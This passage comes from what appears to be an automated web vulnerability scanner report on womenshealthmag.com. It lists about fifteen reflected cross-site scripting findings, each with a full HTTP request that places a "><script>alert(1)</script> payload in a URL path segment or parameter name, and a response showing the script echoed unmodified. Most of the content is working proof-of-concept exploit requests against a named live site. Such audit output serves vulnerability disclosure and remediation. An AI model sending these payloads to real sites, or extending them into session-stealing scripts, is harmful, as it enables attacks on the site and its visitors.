Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:24:13 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:54:15 GMT
Date: Thu, 10 Mar 2011 17:24:15 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 40553

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<link rel="canonical" href="http://www.womenshealthmag.com/image/tidb673c"><script>alert(1)</script>e91469b35d5/2375]]" />
...[SNIP]...

2.1060. http://www.womenshealthmag.com/image/tid/2493]] [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/image/tid/2493]]

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d9e2"><script>alert(1)</script>a6846fc133b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /image/tid3d9e2"><script>alert(1)</script>a6846fc133b/2493]] HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:24:13 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:54:15 GMT
Date: Thu, 10 Mar 2011 17:24:15 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 40553

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<link rel="canonical" href="http://www.womenshealthmag.com/image/tid3d9e2"><script>alert(1)</script>a6846fc133b/2493]]" />
...[SNIP]...

2.1061. http://www.womenshealthmag.com/image/tid/2495]] [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/image/tid/2495]]

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6732"><script>alert(1)</script>1b4a4cd4148 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /image/tida6732"><script>alert(1)</script>1b4a4cd4148/2495]] HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:24:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:54:16 GMT
Date: Thu, 10 Mar 2011 17:24:16 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 40553

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<link rel="canonical" href="http://www.womenshealthmag.com/image/tida6732"><script>alert(1)</script>1b4a4cd4148/2495]]" />
...[SNIP]...

2.1062. http://www.womenshealthmag.com/image/tid/2515]] [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/image/tid/2515]]

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7dd7"><script>alert(1)</script>3a441a16d92 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /image/tidf7dd7"><script>alert(1)</script>3a441a16d92/2515]] HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:24:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:54:13 GMT
Date: Thu, 10 Mar 2011 17:24:13 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 40553

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<link rel="canonical" href="http://www.womenshealthmag.com/image/tidf7dd7"><script>alert(1)</script>3a441a16d92/2515]]" />
...[SNIP]...

2.1063. http://www.womenshealthmag.com/image/tid/2591]] [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/image/tid/2591]]

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4429"><script>alert(1)</script>9f7227dcb77 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /image/tidf4429"><script>alert(1)</script>9f7227dcb77/2591]] HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:24:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:54:13 GMT
Date: Thu, 10 Mar 2011 17:24:13 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 40553

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<link rel="canonical" href="http://www.womenshealthmag.com/image/tidf4429"><script>alert(1)</script>9f7227dcb77/2591]]" />
...[SNIP]...

2.1064. http://www.womenshealthmag.com/image/tid/2592]] [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/image/tid/2592]]

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa767"><script>alert(1)</script>f0c310e4cff was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /image/tidfa767"><script>alert(1)</script>f0c310e4cff/2592]] HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:24:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:54:12 GMT
Date: Thu, 10 Mar 2011 17:24:12 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 40553

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<link rel="canonical" href="http://www.womenshealthmag.com/image/tidfa767"><script>alert(1)</script>f0c310e4cff/2592]]" />
...[SNIP]...

2.1065. http://www.womenshealthmag.com/life/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/life/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25c83"><script>alert(1)</script>bf368064337 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /life/?25c83"><script>alert(1)</script>bf368064337=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:01 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3599
Expires: Thu, 10 Mar 2011 18:23:04 GMT
Date: Thu, 10 Mar 2011 17:23:05 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 87590

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/life/?25c83"><script>alert(1)</script>bf368064337=1">
...[SNIP]...

2.1066. http://www.womenshealthmag.com/life/wh-reader-panel [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/life/wh-reader-panel

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf0fd"><script>alert(1)</script>148e90fb61f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /life/wh-reader-panel?bf0fd"><script>alert(1)</script>148e90fb61f=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:58 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604800
Expires: Thu, 17 Mar 2011 17:23:01 GMT
Date: Thu, 10 Mar 2011 17:23:01 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 113676

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:og="http://opengraphpr
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/life/wh-reader-panel?bf0fd"><script>alert(1)</script>148e90fb61f=1">
...[SNIP]...

2.1067. http://www.womenshealthmag.com/life/womens-health-pdf-downloads [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/life/womens-health-pdf-downloads

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1849b"><script>alert(1)</script>cecad2f73e3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /life/womens-health-pdf-downloads?1849b"><script>alert(1)</script>cecad2f73e3=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:22:54 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604799
Expires: Thu, 17 Mar 2011 17:22:56 GMT
Date: Thu, 10 Mar 2011 17:22:57 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 57882

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/life/womens-health-pdf-downloads?1849b"><script>alert(1)</script>cecad2f73e3=1">
...[SNIP]...

2.1068. http://www.womenshealthmag.com/mediakit [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/mediakit

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b315c"><script>alert(1)</script>5f2587be367 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mediakit?b315c"><script>alert(1)</script>5f2587be367=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:23:38 GMT
Date: Thu, 10 Mar 2011 17:23:38 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 44367

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/mediakit?b315c"><script>alert(1)</script>5f2587be367=1">
...[SNIP]...

2.1069. http://www.womenshealthmag.com/newsletter [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/newsletter

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2897a"><script>alert(1)</script>1f692491cbd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /newsletter?2897a"><script>alert(1)</script>1f692491cbd=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:22:06 GMT
Date: Thu, 10 Mar 2011 17:22:06 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 53606

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/newsletter?2897a"><script>alert(1)</script>1f692491cbd=1">
...[SNIP]...

2.1070. http://www.womenshealthmag.com/nutrition [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/nutrition

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fad76"><script>alert(1)</script>bc09c6c3d57 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nutrition?fad76"><script>alert(1)</script>bc09c6c3d57=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:22:00 GMT
Date: Thu, 10 Mar 2011 17:22:00 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 93869

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/nutrition?fad76"><script>alert(1)</script>bc09c6c3d57=1">
...[SNIP]...

2.1071. http://www.womenshealthmag.com/nutrition/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/nutrition/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c8c5"><script>alert(1)</script>f4b023812e7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nutrition/?5c8c5"><script>alert(1)</script>f4b023812e7=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:25 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:23:28 GMT
Date: Thu, 10 Mar 2011 17:23:28 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 93637

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/nutrition/?5c8c5"><script>alert(1)</script>f4b023812e7=1">
...[SNIP]...

2.1072. http://www.womenshealthmag.com/nutrition/healthy-recipes-1 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/nutrition/healthy-recipes-1

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86720"><script>alert(1)</script>af0dc53d04c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nutrition/healthy-recipes-1?86720"><script>alert(1)</script>af0dc53d04c=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:23:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604800
Expires: Thu, 17 Mar 2011 17:23:21 GMT
Date: Thu, 10 Mar 2011 17:23:21 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 62812

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:og="http://opengraphpr
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/nutrition/healthy-recipes-1?86720"><script>alert(1)</script>af0dc53d04c=1">
...[SNIP]...

2.1073. http://www.womenshealthmag.com/nutrition/meatless-soups [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/nutrition/meatless-soups

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32194"><script>alert(1)</script>06f19b78177 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nutrition/meatless-soups?32194"><script>alert(1)</script>06f19b78177=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:22 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604800
Expires: Thu, 17 Mar 2011 17:23:25 GMT
Date: Thu, 10 Mar 2011 17:23:25 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 62049

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/nutrition/meatless-soups?32194"><script>alert(1)</script>06f19b78177=1">
...[SNIP]...

2.1074. http://www.womenshealthmag.com/nutrition/no-meat-protein-recipes [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/nutrition/no-meat-protein-recipes

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79f03"><script>alert(1)</script>532ef0bc391 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nutrition/no-meat-protein-recipes?79f03"><script>alert(1)</script>532ef0bc391=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604799
